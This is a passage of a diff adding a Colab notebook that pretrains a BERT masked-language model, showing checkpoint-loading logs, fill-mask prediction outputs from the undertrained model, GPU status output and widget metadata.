+            "  \"hidden_dropout_prob\": 0.1,\n",
+            "  \"hidden_size\": 768,\n",
+            "  \"initializer_range\": 0.02,\n",
+            "  \"intermediate_size\": 3072,\n",
+            "  \"layer_norm_eps\": 1e-12,\n",
+            "  \"max_position_embeddings\": 512,\n",
+            "  \"model_type\": \"bert\",\n",
+            "  \"num_attention_heads\": 12,\n",
+            "  \"num_hidden_layers\": 12,\n",
+            "  \"pad_token_id\": 0,\n",
+            "  \"position_embedding_type\": \"absolute\",\n",
+            "  \"torch_dtype\": \"float32\",\n",
+            "  \"transformers_version\": \"4.18.0\",\n",
+            "  \"type_vocab_size\": 2,\n",
+            "  \"use_cache\": true,\n",
+            "  \"vocab_size\": 30522\n",
+            "}\n",
+            "\n",
+            "loading weights file pretrained-bert/checkpoint-6000/pytorch_model.bin\n",
+            "All model checkpoint weights were used when initializing BertForMaskedLM.\n",
+            "\n",
+            "All the weights of BertForMaskedLM were initialized from the model checkpoint at pretrained-bert/checkpoint-6000.\n",
+            "If your task is similar to the task the model of the checkpoint was trained on, you can already use BertForMaskedLM for predictions without further training.\n",
+            "Didn't find file pretrained-bert/tokenizer.json. We won't load it.\n",
+            "Didn't find file pretrained-bert/added_tokens.json. We won't load it.\n",
+            "Didn't find file pretrained-bert/special_tokens_map.json. We won't load it.\n",
+            "Didn't find file pretrained-bert/tokenizer_config.json. We won't load it.\n",
+            "loading file pretrained-bert/vocab.txt\n",
+            "loading file None\n",
+            "loading file None\n",
+            "loading file None\n",
+            "loading file None\n",
+            "loading configuration file pretrained-bert/config.json\n",
+            "Model config BertConfig {\n",
+            "  \"_name_or_path\": \"pretrained-bert\",\n",
+            "  \"attention_probs_dropout_prob\": 0.1,\n",
+            "  \"classifier_dropout\": null,\n",
+            "  \"cls_token\": \"[CLS]\",\n",
+            "  \"do_lower_case\": true,\n",
+            "  \"hidden_act\": \"gelu\",\n",
+            "  \"hidden_dropout_prob\": 0.1,\n",
+            "  \"hidden_size\": 768,\n",
+            "  \"initializer_range\": 0.02,\n",
+            "  \"intermediate_size\": 3072,\n",
+            "  \"layer_norm_eps\": 1e-12,\n",
+            "  \"mask_token\": \"[MASK]\",\n",
+            "  \"max_len\": 512,\n",
+            "  \"max_position_embeddings\": 512,\n",
+            "  \"model_max_length\": 512,\n",
+            "  \"model_type\": \"bert\",\n",
+            "  \"num_attention_heads\": 12,\n",
+            "  \"num_hidden_layers\": 12,\n",
+            "  \"pad_token\": \"[PAD]\",\n",
+            "  \"pad_token_id\": 0,\n",
+            "  \"position_embedding_type\": \"absolute\",\n",
+            "  \"sep_token\": \"[SEP]\",\n",
+            "  \"transformers_version\": \"4.18.0\",\n",
+            "  \"type_vocab_size\": 2,\n",
+            "  \"unk_token\": \"[UNK]\",\n",
+            "  \"use_cache\": true,\n",
+            "  \"vocab_size\": 30522\n",
+            "}\n",
+            "\n",
+            "loading configuration file pretrained-bert/config.json\n",
+            "Model config BertConfig {\n",
+            "  \"_name_or_path\": \"pretrained-bert\",\n",
+            "  \"attention_probs_dropout_prob\": 0.1,\n",
+            "  \"classifier_dropout\": null,\n",
+            "  \"cls_token\": \"[CLS]\",\n",
+            "  \"do_lower_case\": true,\n",
+            "  \"hidden_act\": \"gelu\",\n",
+            "  \"hidden_dropout_prob\": 0.1,\n",
+            "  \"hidden_size\": 768,\n",
+            "  \"initializer_range\": 0.02,\n",
+            "  \"intermediate_size\": 3072,\n",
+            "  \"layer_norm_eps\": 1e-12,\n",
+            "  \"mask_token\": \"[MASK]\",\n",
+            "  \"max_len\": 512,\n",
+            "  \"max_position_embeddings\": 512,\n",
+            "  \"model_max_length\": 512,\n",
+            "  \"model_type\": \"bert\",\n",
+            "  \"num_attention_heads\": 12,\n",
+            "  \"num_hidden_layers\": 12,\n",
+            "  \"pad_token\": \"[PAD]\",\n",
+            "  \"pad_token_id\": 0,\n",
+            "  \"position_embedding_type\": \"absolute\",\n",
+            "  \"sep_token\": \"[SEP]\",\n",
+            "  \"transformers_version\": \"4.18.0\",\n",
+            "  \"type_vocab_size\": 2,\n",
+            "  \"unk_token\": \"[UNK]\",\n",
+            "  \"use_cache\": true,\n",
+            "  \"vocab_size\": 30522\n",
+            "}\n",
+            "\n"
+          ]
+        }
+      ],
+      "source": [
+        "# when you load from pretrained\n",
+        "model = BertForMaskedLM.from_pretrained(os.path.join(model_path, \"checkpoint-6000\"))\n",
+        "tokenizer = BertTokenizerFast.from_pretrained(model_path)\n",
+        "# or simply use pipeline\n",
+        "fill_mask = pipeline(\"fill-mask\", model=model, tokenizer=tokenizer)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 27,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "vJO-1w15ARHs",
+        "outputId": "346b2c7b-d65b-44f1-9fca-e3493435aca2"
+      },
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "{'score': 0.06537885963916779, 'token': 1556, 'token_str': 'the', 'sequence': 'it is known that the is the capital of germany'}\n",
+            "{'score': 0.036817438900470734, 'token': 20, 'token_str': '.', 'sequence': 'it is known that. is the capital of germany'}\n",
+            "{'score': 0.0335884727537632, 'token': 18, 'token_str': ',', 'sequence': 'it is known that, is the capital of germany'}\n",
+            "{'score': 0.027838902547955513, 'token': 1573, 'token_str': 'of', 'sequence': 'it is known that of is the capital of germany'}\n",
+            "{'score': 0.027804739773273468, 'token': 1609, 'token_str': 'is', 'sequence': 'it is known that is is the capital of germany'}\n"
+          ]
+        }
+      ],
+      "source": [
+        "# perform predictions\n",
+        "example = \"It is known that [MASK] is the capital of Germany\"\n",
+        "for prediction in fill_mask(example):\n",
+        "  print(prediction)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "# perform predictions\n",
+        "examples = [\n",
+        "  \"Today's most trending hashtags on [MASK] is Donald Trump\",\n",
+        "  \"The [MASK] was cloudy yesterday, but today it's rainy.\",\n",
+        "]\n",
+        "for example in examples:\n",
+        "  for prediction in fill_mask(example):\n",
+        "    print(f\"{prediction['sequence']}, confidence: {prediction['score']}\")\n",
+        "  print(\"=\"*50)"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "8ROoCqpssCb9",
+        "outputId": "cb795c9c-b77d-42ed-c779-0cf963fcddd2"
+      },
+      "execution_count": 26,
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "today's most trending hashtags on trump is donald trump, confidence: 0.05097166821360588\n",
+            "today's most trending hashtags on. is donald trump, confidence: 0.04177526384592056\n",
+            "today's most trending hashtags on'is donald trump, confidence: 0.040809836238622665\n",
+            "today's most trending hashtags on the is donald trump, confidence: 0.03832641988992691\n",
+            "today's most trending hashtags on, is donald trump, confidence: 0.024022724479436874\n",
+            "==================================================\n",
+            "the. was cloudy yesterday, but today it's rainy., confidence: 0.0627809464931488\n",
+            "the the was cloudy yesterday, but today it's rainy., confidence: 0.0463297963142395\n",
+            "the, was cloudy yesterday, but today it's rainy., confidence: 0.03323638439178467\n",
+            "the to was cloudy yesterday, but today it's rainy., confidence: 0.025685036554932594\n",
+            "the'was cloudy yesterday, but today it's rainy., confidence: 0.024147875607013702\n",
+            "==================================================\n"
+          ]
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 28,
+      "metadata": {
+        "id": "gGkOvmFaYkF2",
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "outputId": "8deff2cf-85dd-42ef-eb1d-4a03a78cc9fc"
+      },
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "Fri Jun  3 08:32:51 2022       \n",
+            "+-----------------------------------------------------------------------------+\n",
+            "| NVIDIA-SMI 460.32.03    Driver Version: 460.32.03    CUDA Version: 11.2     |\n",
+            "|-------------------------------+----------------------+----------------------+\n",
+            "| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |\n",
+            "| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |\n",
+            "|                               |                      |               MIG M. |\n",
+            "|===============================+======================+======================|\n",
+            "|   0  Tesla P100-PCIE...  Off  | 00000000:00:04.0 Off |                    0 |\n",
+            "| N/A   52C    P0    38W / 250W |  14725MiB / 16280MiB |      0%      Default |\n",
+            "|                               |                      |                  N/A |\n",
+            "+-------------------------------+----------------------+----------------------+\n",
+            "                                                                               \n",
+            "+-----------------------------------------------------------------------------+\n",
+            "| Processes:                                                                  |\n",
+            "|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |\n",
+            "|        ID   ID                                                   Usage      |\n",
+            "|=============================================================================|\n",
+            "+-----------------------------------------------------------------------------+\n"
+          ]
+        }
+      ],
+      "source": [
+        "!nvidia-smi"
+      ]
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "collapsed_sections": [],
+      "name": "PretrainingBERT_PythonCodeTutorial.ipynb",
+      "provenance": []
+    },
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "123f86c229c24496979269c09256d1e6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6d6b854ddcbc4113b941c8ba804e2877",
+            "placeholder": "",
+            "style": "IPY_MODEL_e4be24ca306d4a5c8d4a8a1718225590",
+            "value": "Generating train split: 100%"
+          }
+        },
+        "16fd5817ade84d92abeebb70952c926f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "241cca42438046aea2a9b4874f37c8b1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "2e10e57221ef46d695eb16fd25ec5e49": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2f22301fd2984090be8adb6fe839e393": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e33fa1b90e9947e8858db2ef44969e37",
+            "placeholder": "",
+            "style": "IPY_MODEL_f6363254e1fd40b88ec971851ad7e441",
+            "value": "Downloading builder script: "
+          }
+        },
+        "34e85e0a8cf448828e27cb266626cb27": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5837dd25ab0645939444b94ab35e5db4",
+            "placeholder": "",
+            "style": "IPY_MODEL_d78152622ecf4f3da35756557a802251",
+            "value": " 845M/845M [00:24<00:00, 37.4MB/s]"
+          }
+        },
+        "3748fb75842f4392b40fbfab0b7c9caa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bc97183430e34db4b073305ce07d6f41",
+            "max": 71,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_c082e56c91ce4bb4a4bb1e0b0001eaa2",
+            "value": 71
+          }
+        },
+        "3f27b9cc5f104665a99a996c7ab3af1c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_c73ea971834643fab70be84563d06f6a",
+              "IPY_MODEL_653752175e3445ee8fd4651bd551b34d",
+              "IPY_MODEL_34e85e0a8cf448828e27cb266626cb27"
+            ],
+            "layout": "IPY_MODEL_93b2d9dd8440496f8d1812993530dc05"
+          }
+        },
+        "450625b8b8cb4ea18bd6e8d0807c0830": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_123f86c229c24496979269c09256d1e6",
+              "IPY_MODEL_cdcc3c356d91458ba4be2f1a8b41f9da",
+              "IPY_MODEL_66e0498023a64a109f4e18e030937e5e"
+            ],
+            "layout": "IPY_MODEL_bce52428773848faba37e3a41747b4e9"
+          }
+        },
+        "4589cb842c7842ddb0e9bca6db71d590": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d84d85ce2d3f4dd491a44b97e653e175",
+            "placeholder": "",
+            "style": "IPY_MODEL_54b4cf2d58ba4f87aec5070dbd1ff801",
+            "value": "100%"
+          }
+        },
+        "4801d49b04044fa79f64afb3e4d0d89c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4aaff7ef487c4b5c915b2def2ab21759": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ba0b6327ac3740f79f66cb54d131f4fa",
+            "placeholder": "",
+            "style": "IPY_MODEL_16fd5817ade84d92abeebb70952c926f",
+            "value": " 2.04k/? [00:00<00:00, 47.0kB/s]"
+          }
+        },
+        "4df3ac00cfeb4441beb0c077578ce793": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_e549c9c30ce44951b93b1f9d4d1cfca1",
+              "IPY_MODEL_9f7e7e08223343d5b78d5c2d8855640d",
+              "IPY_MODEL_4aaff7ef487c4b5c915b2def2ab21759"
+            ],
+            "layout": "IPY_MODEL_99bbccd66c66489b96470d3e9caf1f1f"
+          }
+        },
+        "50163d0ddc164a139121adf8f9310e36": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_40d2d394b8c24beaaa485d7c30dac2ac",
+              "IPY_MODEL_6a02439ddba246679fb53b91ccca4d2c",
+              "IPY_MODEL_1b57fe0adf5641ddb23713fa97cf28b6"
+            ],
+            "layout": "IPY_MODEL_f36b2a7aa3944a5e856e5b17d286a488"
+          }
+        },
+        "54b4cf2d58ba4f87aec5070dbd1ff801": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5837dd25ab0645939444b94ab35e5db4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "599a2e48109c4b25840754625c05af43": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "62fe563ea6a74aa59833ce78423213da": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "653752175e3445ee8fd4651bd551b34d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_788f92dcba3f4148bc4e88b5c4f9b28b",
+            "max": 845131146,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_cfcf5950147d45e0bc3c8689b5b76073",
+            "value": 845131146
+          }
+        },
+        "66e0498023a64a109f4e18e030937e5e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4801d49b04044fa79f64afb3e4d0d89c",
+            "placeholder": "",
+            "style": "IPY_MODEL_599a2e48109c4b25840754625c05af43",
+            "value": " 708111/708241 [04:17<00:00, 2898.45 examples/s]"
+          }
+        },
+        "6aa0294bb5b741f49883998b69accaba": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6c082c2cd59f483981b4839dff47e071": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6d6b854ddcbc4113b941c8ba804e2877": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "788f92dcba3f4148bc4e88b5c4f9b28b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7a3d34b2e76a4d4b8b14ac5aefb3883f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
